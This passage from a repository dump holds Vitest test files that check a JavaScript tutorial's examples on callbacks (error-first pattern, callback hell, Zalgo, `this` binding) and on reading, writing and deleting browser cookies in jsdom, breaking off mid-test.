data')\n      expect(receivedError).toBeNull()\n      expect(receivedResult).toBe('success data')\n      \n      // Error case\n      callback(new Error('something failed'), undefined)\n      expect(receivedError).toBeInstanceOf(Error)\n      expect(receivedError.message).toBe('something failed')\n      expect(receivedResult).toBeUndefined()\n    })\n    \n    // From lines 586-622: divideAsync error-first example\n    it('should demonstrate divideAsync error-first callback pattern', async () => {\n      function divideAsync(a, b, callback) {\n        // Simulate async operation\n        setTimeout(function() {\n          // Check for errors\n          if (typeof a !== 'number' || typeof b !== 'number') {\n            callback(new Error('Both arguments must be numbers'))\n            return\n          }\n          \n          if (b === 0) {\n            callback(new Error('Cannot divide by zero'))\n            return\n          }\n          \n          // Success! Error is null, result is the value\n          const result = a / b\n          callback(null, result)\n        }, 100)\n      }\n      \n      // Test success case\n      let successError = 'not called'\n      let successResult = 'not called'\n      \n      divideAsync(10, 2, function(error, result) {\n        successError = error\n        successResult = result\n      })\n      \n      await vi.advanceTimersByTimeAsync(100)\n      \n      expect(successError).toBeNull()\n      expect(successResult).toBe(5)  // Result: 5\n      \n      // Test error case - divide by zero\n      let errorError = 'not called'\n      let errorResult = 'not called'\n      \n      divideAsync(10, 0, function(error, result) {\n        errorError = error\n        errorResult = result\n      })\n      \n      await vi.advanceTimersByTimeAsync(100)\n      \n      expect(errorError).toBeInstanceOf(Error)\n      expect(errorError.message).toBe('Cannot divide by zero')\n    })\n    \n    // From lines 627-650: Common Mistake - Forgetting to Return\n    it('should demonstrate the importance of returning after error callback', () => {\n      const results = []\n      \n      // Wrong - doesn't return after error\n      function processDataWrong(data, callback) {\n        if (!data) {\n          callback(new Error('No data provided'))\n          // Oops! Execution continues...\n        }\n        \n        // This runs even when there's an error!\n        results.push('This should not run if error')\n        callback(null, 'processed')\n      }\n      \n      // Correct - return after error callback\n      function processDataCorrect(data, callback) {\n        if (!data) {\n          return callback(new Error('No data provided'))\n          // Or: callback(new Error(...)); return;\n        }\n        \n        // This only runs if data exists\n        results.push('This only runs on success')\n        callback(null, 'processed')\n      }\n      \n      // Test wrong way\n      processDataWrong(null, () => {})\n      expect(results).toContain('This should not run if error')  // Bug!\n      \n      results.length = 0  // Clear results\n      \n      // Test correct way\n      processDataCorrect(null, () => {})\n      expect(results).not.toContain('This only runs on success')  // Correct!\n    })\n  })\n  \n  // ============================================================\n  // CALLBACK HELL: THE PYRAMID OF DOOM\n  // From callbacks.mdx lines 658-757\n  // ============================================================\n  \n  describe('Callback Hell', () => {\n    // From lines 674-715: Nested callback example\n    it('should demonstrate the pyramid of doom pattern', () => {\n      return new Promise((resolve) => {\n        const steps = []\n        \n        // Simulated async operations\n        function getUser(userId, callback) {\n          setTimeout(() => {\n            steps.push('getUser')\n            callback(null, { id: userId, name: 'Alice' })\n          }, 0)\n        }\n        \n        function verifyPassword(user, password, callback) {\n          setTimeout(() => {\n            steps.push('verifyPassword')\n            callback(null, password === 'correct')\n          }, 0)\n        }\n        \n        function getProfile(userId, callback) {\n          setTimeout(() => {\n            steps.push('getProfile')\n            callback(null, { bio: 'Developer' })\n          }, 0)\n        }\n        \n        function getSettings(userId, callback) {\n          setTimeout(() => {\n            steps.push('getSettings')\n            callback(null, { theme: 'dark' })\n          }, 0)\n        }\n        \n        function renderDashboard(user, profile, settings, callback) {\n          setTimeout(() => {\n            steps.push('renderDashboard')\n            callback(null)\n          }, 0)\n        }\n        \n        function handleError(error) {\n          steps.push(`Error: ${error.message}`)\n        }\n        \n        const userId = 123\n        const password = 'correct'\n        \n        // Callback hell - nested callbacks (pyramid of doom)\n        getUser(userId, function(error, user) {\n          if (error) {\n            handleError(error)\n            return\n          }\n          \n          verifyPassword(user, password, function(error, isValid) {\n            if (error) {\n              handleError(error)\n              return\n            }\n            \n            if (!isValid) {\n              handleError(new Error('Invalid password'))\n              return\n            }\n            \n            getProfile(user.id, function(error, profile) {\n              if (error) {\n                handleError(error)\n                return\n              }\n              \n              getSettings(user.id, function(error, settings) {\n                if (error) {\n                  handleError(error)\n                  return\n                }\n                \n                renderDashboard(user, profile, settings, function(error) {\n                  if (error) {\n                    handleError(error)\n                    return\n                  }\n                  \n                  steps.push('Dashboard rendered!')\n                  \n                  expect(steps).toEqual([\n                    'getUser',\n                    'verifyPassword',\n                    'getProfile',\n                    'getSettings',\n                    'renderDashboard',\n                    'Dashboard rendered!'\n                  ])\n                  resolve()\n                })\n              })\n            })\n          })\n        })\n      })\n    })\n  })\n  \n  // ============================================================\n  // ESCAPING CALLBACK HELL\n  // From callbacks.mdx lines 761-970\n  // ============================================================\n  \n  describe('Escaping Callback Hell', () => {\n    // From lines 769-801: Strategy 1 - Named Functions\n    it('should demonstrate named functions to escape callback hell', () => {\n      return new Promise((resolve) => {\n        const steps = []\n        let rejected = false\n        \n        function getData(callback) {\n          setTimeout(() => {\n            steps.push('getData')\n            callback(null, 'data')\n          }, 0)\n        }\n        \n        function processData(data, callback) {\n          setTimeout(() => {\n            steps.push(`processData: ${data}`)\n            callback(null, 'processed')\n          }, 0)\n        }\n        \n        function saveData(processed, callback) {\n          setTimeout(() => {\n            steps.push(`saveData: ${processed}`)\n            callback(null)\n          }, 0)\n        }\n        \n        function handleError(err) {\n          steps.push(`Error: ${err.message}`)\n          rejected = true\n        }\n        \n        // After: Named functions\n        function handleData(err, data) {\n          if (err) return handleError(err)\n          processData(data, handleProcessed)\n        }\n        \n        function handleProcessed(err, processed) {\n          if (err) return handleError(err)\n          saveData(processed, handleSaved)\n        }\n        \n        function handleSaved(err) {\n          if (err) return handleError(err)\n          steps.push('Done!')\n          \n          expect(steps).toEqual([\n            'getData',\n            'processData: data',\n            'saveData: processed',\n            'Done!'\n          ])\n          resolve()\n        }\n        \n        // Start the chain\n        getData(handleData)\n      })\n    })\n    \n    // From lines 813-847: Strategy 2 - Early Returns\n    it('should demonstrate early returns to reduce nesting', () => {\n      return new Promise((resolve) => {\n        const results = []\n        \n        function validateUser(user, callback) {\n          setTimeout(() => {\n            callback(null, user.name !== '')\n          }, 0)\n        }\n        \n        function saveUser(user, callback) {\n          setTimeout(() => {\n            callback(null, { ...user, saved: true })\n          }, 0)\n        }\n        \n        // Use early returns\n        function processUser(user, callback) {\n          validateUser(user, function(err, isValid) {\n            if (err) return callback(err)\n            if (!isValid) return callback(new Error('Invalid user'))\n            \n            saveUser(user, function(err, savedUser) {\n              if (err) return callback(err)\n              callback(null, savedUser)\n            })\n          })\n        }\n        \n        processUser({ name: 'Alice' }, function(err, result) {\n          expect(err).toBeNull()\n          expect(result).toEqual({ name: 'Alice', saved: true })\n          \n          // Test invalid user\n          processUser({ name: '' }, function(err, result) {\n            expect(err).toBeInstanceOf(Error)\n            expect(err.message).toBe('Invalid user')\n            resolve()\n          })\n        })\n      })\n    })\n    \n    // From lines 853-888: Strategy 3 - Modularization\n    it('should demonstrate modularization to break up callback hell', () => {\n      return new Promise((resolve) => {\n        const steps = []\n        \n        // auth.js\n        function getUser(email, callback) {\n          setTimeout(() => callback(null, { id: 1, email }), 0)\n        }\n        \n        function verifyPassword(user, password, callback) {\n          setTimeout(() => callback(null, password === 'secret'), 0)\n        }\n        \n        function authenticateUser(credentials, callback) {\n          getUser(credentials.email, function(err, user) {\n            if (err) return callback(err)\n            \n            verifyPassword(user, credentials.password, function(err, isValid) {\n              if (err) return callback(err)\n              if (!isValid) return callback(new Error('Invalid password'))\n              callback(null, user)\n            })\n          })\n        }\n        \n        // profile.js\n        function getProfile(userId, callback) {\n          setTimeout(() => callback(null, { bio: 'Developer' }), 0)\n        }\n        \n        function getSettings(userId, callback) {\n          setTimeout(() => callback(null, { theme: 'dark' }), 0)\n        }\n        \n        function loadUserProfile(userId, callback) {\n          getProfile(userId, function(err, profile) {\n            if (err) return callback(err)\n            \n            getSettings(userId, function(err, settings) {\n              if (err) return callback(err)\n              callback(null, { profile, settings })\n            })\n          })\n        }\n        \n        function handleError(err) {\n          steps.push(`Error: ${err.message}`)\n        }\n        \n        function renderDashboard(user, profile, settings) {\n          steps.push(`Rendered dashboard for ${user.email}`)\n        }\n        \n        // main.js\n        const credentials = { email: 'alice@example.com', password: 'secret' }\n        \n        authenticateUser(credentials, function(err, user) {\n          if (err) return handleError(err)\n          \n          loadUserProfile(user.id, function(err, data) {\n            if (err) return handleError(err)\n            renderDashboard(user, data.profile, data.settings)\n            \n            expect(steps).toEqual(['Rendered dashboard for alice@example.com'])\n            resolve()\n          })\n        })\n      })\n    })\n  })\n  \n  // ============================================================\n  // COMMON CALLBACK MISTAKES\n  // From callbacks.mdx lines 974-1121\n  // ============================================================\n  \n  describe('Common Callback Mistakes', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    // From lines 981-1001: Mistake 1 - Calling a Callback Multiple Times\n    it('should demonstrate the problem of calling callbacks multiple times', () => {\n      const results = []\n      \n      // Wrong - callback called multiple times!\n      function fetchDataWrong(url, callback) {\n        // Simulating the wrong pattern from the docs\n        callback(null, 'response')   // Called on success\n        // In the wrong code, .finally() would also call callback\n        callback(null, 'done')       // Called ALWAYS - even after success or error!\n      }\n      \n      fetchDataWrong('http://example.com', (err, data) => {\n        results.push(data)\n      })\n      \n      // Bug: callback was called twice!\n      expect(results).toEqual(['response', 'done'])\n      expect(results.length).toBe(2)\n    })\n    \n    // From lines 1003-1041: Mistake 2 - Zalgo (sync/async inconsistency)\n    it('should demonstrate the Zalgo problem (inconsistent sync/async)', async () => {\n      const cache = new Map()\n      const order = []\n      \n      // Wrong - sometimes sync, sometimes async (Zalgo!)\n      function getData(key, callback) {\n        if (cache.has(key)) {\n          callback(null, cache.get(key))  // Sync!\n          return\n        }\n        \n        setTimeout(() => {\n          const data = `data for ${key}`\n          cache.set(key, data)\n          callback(null, data)  // Async!\n        }, 0)\n      }\n      \n      // This causes unpredictable behavior:\n      let value = 'initial'\n      getData('key1', function(err, data) {\n        value = data\n      })\n      order.push(`After first call: ${value}`)\n      \n      await vi.advanceTimersByTimeAsync(0)\n      order.push(`After timer: ${value}`)\n      \n      // Second call - from cache (sync)\n      getData('key1', function(err, data) {\n        value = 'from cache'\n      })\n      order.push(`After second call: ${value}`)\n      \n      // Inconsistent! First call: value changed after timer\n      // Second call: value changed immediately\n      expect(order).toEqual([\n        'After first call: initial',        // First call was async\n        'After timer: data for key1',       // Value updated after timer\n        'After second call: from cache'     // Second call was sync - immediate!\n      ])\n    })\n    \n    // From lines 1027-1041: Solution to Zalgo - always be async\n    it('should demonstrate the solution to Zalgo - always async', async () => {\n      const cache = new Map()\n      const order = []\n      \n      // Correct - always async\n      function getData(key, callback) {\n        if (cache.has(key)) {\n          // Use setTimeout to make it async even when cached\n          setTimeout(function() {\n            callback(null, cache.get(key))\n          }, 0)\n          return\n        }\n        \n        setTimeout(() => {\n          const data = `data for ${key}`\n          cache.set(key, data)\n          callback(null, data)\n        }, 0)\n      }\n      \n      let value = 'initial'\n      \n      // First call\n      getData('key1', function(err, data) {\n        value = data\n        order.push(`callback1: ${value}`)\n      })\n      order.push('after first call')\n      \n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Second call (from cache, but still async)\n      getData('key1', function(err, data) {\n        value = 'from cache'\n        order.push(`callback2: ${value}`)\n      })\n      order.push('after second call')\n      \n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Consistent ordering! Both callbacks run after their respective calls\n      expect(order).toEqual([\n        'after first call',\n        'callback1: data for key1',\n        'after second call',\n        'callback2: from cache'\n      ])\n    })\n    \n    // From lines 1043-1092: Mistake 3 - Losing `this` Context\n    it('should demonstrate losing this context with regular function callbacks', async () => {\n      // Wrong - this is undefined/global\n      const user = {\n        name: 'Alice',\n        greetLater: function() {\n          return new Promise(resolve => {\n            setTimeout(function() {\n              // 'this' is undefined in strict mode\n              resolve(this?.name)  // this.name is undefined!\n            }, 1000)\n          })\n        }\n      }\n      \n      const promise = user.greetLater()\n      await vi.advanceTimersByTimeAsync(1000)\n      const result = await promise\n      \n      expect(result).toBeUndefined()  // \"Hello, undefined!\"\n    })\n    \n    it('should preserve this context with arrow function callbacks', async () => {\n      // Correct - Use arrow function (inherits this)\n      const user = {\n        name: 'Alice',\n        greetLater: function() {\n          return new Promise(resolve => {\n            setTimeout(() => {\n              resolve(`Hello, ${this.name}!`)  // Arrow function keeps this\n            }, 1000)\n          })\n        }\n      }\n      \n      const promise = user.greetLater()\n      await vi.advanceTimersByTimeAsync(1000)\n      const result = await promise\n      \n      expect(result).toBe('Hello, Alice!')\n    })\n    \n    it('should preserve this context with bind', async () => {\n      // Correct - Use bind\n      const user = {\n        name: 'Alice',\n        greetLater: function() {\n          return new Promise(resolve => {\n            setTimeout(function() {\n              resolve(`Hello, ${this.name}!`)\n            }.bind(this), 1000)  // Explicitly bind this\n          })\n        }\n      }\n      \n      const promise = user.greetLater()\n      await vi.advanceTimersByTimeAsync(1000)\n      const result = await promise\n      \n      expect(result).toBe('Hello, Alice!')\n    })\n    \n    it('should preserve this context by saving reference', async () => {\n      // Correct - Save reference to this\n      const user = {\n        name: 'Alice',\n        greetLater: function() {\n          const self = this  // Save reference\n          return new Promise(resolve => {\n            setTimeout(function() {\n              resolve(`Hello, ${self.name}!`)\n            }, 1000)\n          })\n        }\n      }\n      \n      const promise = user.greetLater()\n      await vi.advanceTimersByTimeAsync(1000)\n      const result = await promise\n      \n      expect(result).toBe('Hello, Alice!')\n    })\n  })\n  \n  // ============================================================\n  // TEST YOUR KNOWLEDGE\n  // From callbacks.mdx lines 1260-1371\n  // ============================================================\n  \n  describe('Test Your Knowledge', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    // From lines 1260-1285: Question 3 - What's the output of this code?\n    it('Question 3: What is the output order? A, C, E, B, D', async () => {\n      const output = []\n      \n      output.push('A')\n      \n      setTimeout(() => output.push('B'), 0)\n      \n      output.push('C')\n      \n      setTimeout(() => output.push('D'), 0)\n      \n      output.push('E')\n      \n      // Before timers: A, C, E\n      expect(output).toEqual(['A', 'C', 'E'])\n      \n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Answer: A, C, E, B, D\n      //\n      // Explanation:\n      // 1. console.log('A') - sync, runs immediately -> \"A\"\n      // 2. setTimeout(..., 0) - registers callback B, continues\n      // 3. console.log('C') - sync, runs immediately -> \"C\"\n      // 4. setTimeout(..., 0) - registers callback D, continues\n      // 5. console.log('E') - sync, runs immediately -> \"E\"\n      // 6. Call stack empty -> event loop runs callback B -> \"B\"\n      // 7. Event loop runs callback D -> \"D\"\n      //\n      // Even with 0ms delay, setTimeout callbacks run after all sync code.\n      expect(output).toEqual(['A', 'C', 'E', 'B', 'D'])\n    })\n    \n    // From lines 1287-1316: Question 4 - How can you preserve `this` context?\n    it('Question 4: Three ways to preserve this context', async () => {\n      // 1. Arrow functions (recommended)\n      const obj1 = {\n        name: 'Alice',\n        greet() {\n          return new Promise(resolve => {\n            setTimeout(() => {\n              resolve(this.name)  // \"Alice\"\n            }, 100)\n          })\n        }\n      }\n      \n      // 2. Using bind()\n      const obj2 = {\n        name: 'Alice',\n        greet() {\n          return new Promise(resolve => {\n            setTimeout(function() {\n              resolve(this.name)\n            }.bind(this), 100)\n          })\n        }\n      }\n      \n      // 3. Saving a reference\n      const obj3 = {\n        name: 'Alice',\n        greet() {\n          const self = this\n          return new Promise(resolve => {\n            setTimeout(function() {\n              resolve(self.name)\n            }, 100)\n          })\n        }\n      }\n      \n      const promise1 = obj1.greet()\n      const promise2 = obj2.greet()\n      const promise3 = obj3.greet()\n      \n      await vi.advanceTimersByTimeAsync(100)\n      \n      expect(await promise1).toBe('Alice')\n      expect(await promise2).toBe('Alice')\n      expect(await promise3).toBe('Alice')\n    })\n    \n    // From lines 1318-1342: Question 5 - Why can't you use try/catch with async callbacks?\n    it('Question 5: try/catch cannot catch async callback errors', async () => {\n      // The try/catch block executes synchronously. By the time an async\n      // callback runs, the try/catch is long gone - it's on a different\n      // \"turn\" of the event loop.\n      \n      let tryCatchExecuted = false\n      const callbackExecuted = vi.fn()\n      \n      try {\n        setTimeout(() => {\n          callbackExecuted()\n          // throw new Error('Async error!')  // This escapes!\n        }, 100)\n      } catch (e) {\n        // This NEVER catches the error\n        tryCatchExecuted = true\n      }\n      \n      // The error crashes the program because:\n      // 1. try/catch runs immediately\n      // 2. setTimeout registers callback and returns\n      // 3. try/catch completes (nothing thrown yet!)\n      // 4. 100ms later, callback runs and throws\n      // 5. No try/catch exists at that point\n      \n      expect(tryCatchExecuted).toBe(false)\n      expect(callbackExecuted).not.toHaveBeenCalled()\n      \n      await vi.advanceTimersByTimeAsync(100)\n      \n      // Callback ran, but try/catch is long gone\n      expect(callbackExecuted).toHaveBeenCalled()\n      expect(tryCatchExecuted).toBe(false)  // Still false!\n    })\n    \n    // From lines 1344-1370: Question 6 - Three ways to avoid callback hell\n    it('Question 6: Three ways to avoid callback hell', async () => {\n      const steps = []\n      \n      function getUser(userId, callback) {\n        setTimeout(() => callback(null, { id: userId, name: 'Alice' }), 0)\n      }\n      \n      function getProfile(userId, callback) {\n        setTimeout(() => callback(null, { bio: 'Developer' }), 0)\n      }\n      \n      function handleError(err) {\n        steps.push(`Error: ${err.message}`)\n      }\n      \n      // 1. Named functions - Extract callbacks into named functions\n      function handleUser(err, user) {\n        if (err) return handleError(err)\n        getProfile(user.id, handleProfile)\n      }\n      \n      function handleProfile(err, profile) {\n        if (err) return handleError(err)\n        steps.push(`Got profile: ${profile.bio}`)\n      }\n      \n      // Start the chain\n      getUser(123, handleUser)\n      \n      // Advance timers to let callbacks execute\n      // Need to run all pending timers (nested setTimeouts)\n      await vi.runAllTimersAsync()\n      \n      expect(steps).toEqual(['Got profile: Developer'])\n      \n      // Other approaches mentioned in docs:\n      // 2. Modularization - Split into separate modules/functions\n      // 3. Promises/async-await - Use modern async patterns\n    })\n  })\n  \n  // ============================================================\n  // ADDITIONAL EDGE CASES\n  // ============================================================\n  \n  describe('Additional Edge Cases', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should handle nested setTimeout callbacks', async () => {\n      const order = []\n      \n      setTimeout(() => {\n        order.push('first')\n        setTimeout(() => {\n          order.push('second')\n          setTimeout(() => {\n            order.push('third')\n          }, 100)\n        }, 100)\n      }, 100)\n      \n      await vi.advanceTimersByTimeAsync(100)\n      expect(order).toEqual(['first'])\n      \n      await vi.advanceTimersByTimeAsync(100)\n      expect(order).toEqual(['first', 'second'])\n      \n      await vi.advanceTimersByTimeAsync(100)\n      expect(order).toEqual(['first', 'second', 'third'])\n    })\n    \n    it('should demonstrate callback with multiple array methods chained', () => {\n      const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n      \n      // Each method accepts a callback\n      const result = numbers\n        .filter(n => n % 2 === 0)     // Keep evens: [2, 4, 6, 8, 10]\n        .map(n => n * 2)              // Double: [4, 8, 12, 16, 20]\n        .reduce((sum, n) => sum + n, 0) // Sum: 60\n      \n      expect(result).toBe(60)\n    })\n    \n    it('should demonstrate once-only callback pattern', () => {\n      function once(callback) {\n        let called = false\n        return function(...args) {\n          if (called) return\n          called = true\n          return callback.apply(this, args)\n        }\n      }\n      \n      let callCount = 0\n      const onceCallback = once(() => {\n        callCount++\n        return 'result'\n      })\n      \n      expect(onceCallback()).toBe('result')\n      expect(onceCallback()).toBeUndefined()\n      expect(onceCallback()).toBeUndefined()\n      expect(callCount).toBe(1)\n    })\n    \n    it('should demonstrate closure issues with var in loops', async () => {\n      const results = []\n      \n      // Wrong with var - all callbacks see final value\n      for (var i = 0; i < 3; i++) {\n        setTimeout(() => results.push(`var: ${i}`), 100)\n      }\n      \n      await vi.advanceTimersByTimeAsync(100)\n      \n      // All see i = 3 (the final value after loop completes)\n      expect(results).toEqual(['var: 3', 'var: 3', 'var: 3'])\n    })\n    \n    it('should demonstrate closure fix with let in loops', async () => {\n      const results = []\n      \n      // Correct with let - each iteration gets its own i\n      for (let i = 0; i < 3; i++) {\n        setTimeout(() => results.push(`let: ${i}`), 100)\n      }\n      \n      await vi.advanceTimersByTimeAsync(100)\n      \n      expect(results).toEqual(['let: 0', 'let: 1', 'let: 2'])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/browser-storage/cookies/cookies.dom.test.js",
    "content": "/**\n * @vitest-environment jsdom\n */\nimport { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'\n\n// ============================================================\n// COOKIES DOM TESTS\n// Tests for code examples from cookies.mdx that require browser APIs\n// ============================================================\n\ndescribe('Cookies - DOM', () => {\n  // ============================================================\n  // SETUP AND CLEANUP\n  // ============================================================\n\n  beforeEach(() => {\n    // Clear all cookies before each test\n    document.cookie.split(\";\").forEach(cookie => {\n      const name = cookie.split(\"=\")[0].trim()\n      document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/`\n    })\n  })\n\n  afterEach(() => {\n    // Clean up after each test\n    document.cookie.split(\";\").forEach(cookie => {\n      const name = cookie.split(\"=\")[0].trim()\n      document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/`\n    })\n    vi.restoreAllMocks()\n  })\n\n  // ============================================================\n  // SETTING COOKIES WITH JAVASCRIPT\n  // From cookies.mdx lines 71-88\n  // ============================================================\n\n  describe('Setting Cookies with JavaScript', () => {\n    // From lines 71-79: Basic cookie syntax\n    it('should set a simple cookie', () => {\n      document.cookie = \"username=Alice\"\n      \n      expect(document.cookie).toContain(\"username=Alice\")\n    })\n\n    it('should add multiple cookies without overwriting', () => {\n      // From lines 74-79: Multiple assignments add cookies\n      document.cookie = \"a=1\"\n      document.cookie = \"b=2\"\n      document.cookie = \"c=3\"\n      \n      expect(document.cookie).toContain(\"a=1\")\n      expect(document.cookie).toContain(\"b=2\")\n      expect(document.cookie).toContain(\"c=3\")\n    })\n\n    it('should update existing cookie with same name', () => {\n      document.cookie = \"theme=light\"\n      document.cookie = \"theme=dark\"\n      \n      // Should only have one \"theme\" cookie\n      const matches = document.cookie.match(/theme=/g)\n      expect(matches).toHaveLength(1)\n      expect(document.cookie).toContain(\"theme=dark\")\n    })\n  })\n\n  // ============================================================\n  // THE QUIRKY NATURE OF document.cookie\n  // From cookies.mdx lines 81-91\n  // ============================================================\n\n  describe('document.cookie Quirks', () => {\n    // From lines 81-91: Setting vs reading behavior\n    it('should return all cookies when reading', () => {\n      document.cookie = \"first=1\"\n      document.cookie = \"second=2\"\n      \n      const cookies = document.cookie\n      expect(typeof cookies).toBe(\"string\")\n      expect(cookies).toContain(\"first=1\")\n      expect(cookies).toContain(\"second=2\")\n    })\n\n    it('should not allow direct property access', () => {\n      document.cookie = \"test=value\"\n      \n      // document.cookie.test doesn't work\n      expect(document.cookie.test).toBeUndefined()\n    })\n  })\n\n  // ============================================================\n  // READING COOKIES\n  // From cookies.mdx lines 106-147\n  // ============================================================\n\n  describe('Reading Cookies', () => {\n    // From lines 106-117: getCookie implementation\n    describe('getCookie function', () => {\n      function getCookie(name) {\n        const cookies = document.cookie.split(\"; \")\n        for (const cookie of cookies) {\n          const [cookieName, cookieValue] = cookie.split(\"=\")\n          if (cookieName === name) {\n            return decodeURIComponent(cookieValue)\n          }\n        }\n        return null\n      }\n\n      it('should retrieve a cookie by name', () => {\n        document.cookie = \"username=Alice\"\n        \n        expect(getCookie(\"username\")).toBe(\"Alice\")\n      })\n\n      it('should return null for missing cookies', () => {\n        expect(getCookie(\"nonexistent\")).toBeNull()\n      })\n\n      it('should decode encoded values', () => {\n        document.cookie = `message=${encodeURIComponent(\"Hello, World!\")}`\n        \n        expect(getCookie(\"message\")).toBe(\"Hello, World!\")\n      })\n    })\n\n    // From lines 121-136: parseCookies implementation\n    describe('parseCookies function', () => {\n      function parseCookies() {\n        return document.cookie\n          .split(\"; \")\n          .filter(Boolean)\n          .reduce((cookies, cookie) => {\n            const [name, ...valueParts] = cookie.split(\"=\")\n            const value = valueParts.join(\"=\")\n            cookies[name] = decodeURIComponent(value)\n            return cookies\n          }, {})\n      }\n\n      it('should parse all cookies into an object', () => {\n        document.cookie = \"a=1\"\n        document.cookie = \"b=2\"\n        document.cookie = \"c=3\"\n        \n        const cookies = parseCookies()\n        \n        expect(cookies.a).toBe(\"1\")\n        expect(cookies.b).toBe(\"2\")\n        expect(cookies.c).toBe(\"3\")\n      })\n\n      it('should return empty object when no cookies', () => {\n        // Cookies should be cleared by beforeEach\n        const cookies = parseCookies()\n        \n        expect(Object.keys(cookies).length).toBe(0)\n      })\n    })\n\n    // From lines 140-147: hasCookie implementation\n    describe('hasCookie function', () => {\n      function hasCookie(name) {\n        return document.cookie\n          .split(\"; \")\n          .some(cookie => cookie.startsWith(`${name}=`))\n      }\n\n      it('should return true for existing cookies', () => {\n        document.cookie = \"sessionId=abc123\"\n        \n        expect(hasCookie(\"sessionId\")).toBe(true)\n      })\n\n      it('should return false for missing cookies', () => {\n        expect(hasCookie(\"nonexistent\")).toBe(false)\n      })\n    })\n  })\n\n  // ============================================================\n  // WRITING COOKIES WITH HELPER FUNCTION\n  // From cookies.mdx lines 153-196\n  // ============================================================\n\n  describe('setCookie Helper Function', () => {\n    // From lines 153-196: Complete setCookie implementation\n    function setCookie(name, value, options = {}) {\n      const defaults = {\n        path: \"/\"\n      }\n      \n      const settings = { ...defaults, ...options }\n      \n      let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`\n      \n      if (settings.maxAge !== undefined) {\n        cookieString += `; max-age=${settings.maxAge}`\n      } else if (settings.expires instanceof Date) {\n        cookieString += `; expires=${settings.expires.toUTCString()}`\n      }\n      \n      if (settings.path) {\n        cookieString += `; path=${settings.path}`\n      }\n      \n      document.cookie = cookieString\n    }\n\n    it('should set a basic cookie', () => {\n      setCookie(\"test\", \"value\")\n      \n      expect(document.cookie).toContain(\"test=value\")\n    })\n\n    it('should set cookie with max-age', () => {\n      setCookie(\"temp\", \"data\", { maxAge: 3600 })\n      \n      expect(document.cookie).toContain(\"temp=data\")\n    })\n\n    it('should encode special characters', () => {\n      setCookie(\"message\", \"Hello, World!\")\n      \n      // The cookie should be set (browser decodes when reading)\n      expect(document.cookie).toContain(\"message=\")\n    })\n\n    it('should overwrite existing cookie', () => {\n      setCookie(\"key\", \"old\")\n      setCookie(\"key\", \"new\")\n      \n      // Should only have one occurrence\n      const matches = document.cookie.match(/key=/g)\n      expect(matches).toHaveLength(1)\n    })\n  })\n\n  // ============================================================\n  // DELETING COOKIES\n  // From cookies.mdx lines 201-220\n  // ============================================================\n\n  describe('Deleting Cookies', () => {\n    // From lines 201-220: deleteCookie implementation\n    function setCookie(name, value, options = {}) {\n      const defaults = { path: \"/\" }\n      const settings = { ...defaults, ...options }\n      \n      let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`\n      \n      if (settings.maxAge !== undefined) {\n        cookieString += `; max-age=${settings.maxAge}`\n      }\n      \n      if (settings.path) {\n        cookieString += `; path=${settings.path}`\n      }\n      \n      document.cookie = cookieString\n    }\n\n    function deleteCookie(name, options = {}) {\n      setCookie(name, \"\", {\n        ...options,\n        maxAge: 0\n      })\n    }\n\n    it('should delete a cookie by setting max-age=0', () => {\n      // First, set a cookie\n      document.cookie = \"toDelete=value; path=/\"\n      expect(document.cookie).toContain(\"toDelete=value\")\n      \n      // Delete it\n      deleteCookie(\"toDelete\")\n      \n      // Should be gone\n      expect(document.cookie).not.toContain(\"toDelete=value\")\n    })\n\n    it('should delete cookie using past expiration date', () => {\n      document.cookie = \"oldCookie=data; path=/\"\n      expect(document.cookie).toContain(\"oldCookie=data\")\n      \n      document.cookie = \"oldCookie=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/\"\n      \n      expect(document.cookie).not.toContain(\"oldCookie=data\")\n    })\n  })\n\n  // ============================================================\n  // COOKIE ATTRIBUTES\n  // From cookies.mdx lines 269-383\n  // ============================================================\n\n  describe('Cookie Attributes', () => {\n    // From lines 275-293: max-age attribute\n    describe('max-age', () => {\n      it('should accept max-age in seconds', () => {\n        // 1 hour = 3600 seconds\n        document.cookie = \"hourly=data; max-age=3600; path=/\"\n        \n        expect(document.cookie).toContain(\"hourly=data\")\n      })\n\n      it('should delete cookie with max-age=0', () => {\n        document.cookie = \"temp=value; path=/\"\n        document.cookie = \"temp=; max-age=0; path=/\"\n        \n        expect(document.cookie).not.toContain(\"temp=value\")\n      })\n\n      it('should delete cookie with negative max-age', () => {\n        document.cookie = \"temp=value; path=/\"\n        document.cookie = \"temp=; max-age=-1; path=/\"\n        \n        expect(document.cookie).not.toContain(\"temp=value\")\n      })\n    })\n\n    // From lines 295-307: expires attribute\n    describe('expires', () => {\n      it('should accept UTC date string', () => {\n        const futureDate = new Date()\n        futureDate.setTime(futureDate.getTime() + 24 * 60 * 60 * 1000)\n        \n        document.cookie = `future=data; expires=${futureDate.toUTCString()}; path=/`\n        \n        expect(document.cookie).toContain(\"future=data\")\n      })\n\n      it('should delete with past expiration date', () => {\n        document.cookie = \"past=data; path=/\"\n        document.cookie = \"past=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/\"\n        \n        expect(document.cookie).not.toContain(\"past=data\")\n      })\n    })\n\n    // From lines 309-343: path attribute\n    describe('path', () => {\n      it('should set cookie with specific path', () => {\n        // Note: jsdom doesn't fully support path restrictions\n        // Cookies with non-root paths may not be accessible\n        // This tests the cookie string format instead\n        const cookieString = \"appToken=abc; path=/app\"\n        \n        expect(cookieString).toContain(\"path=/app\")\n        expect(cookieString).toContain(\"appToken=abc\")\n      })\n\n      it('should set cookie with root path', () => {\n        document.cookie = \"rootToken=xyz; path=/\"\n        \n        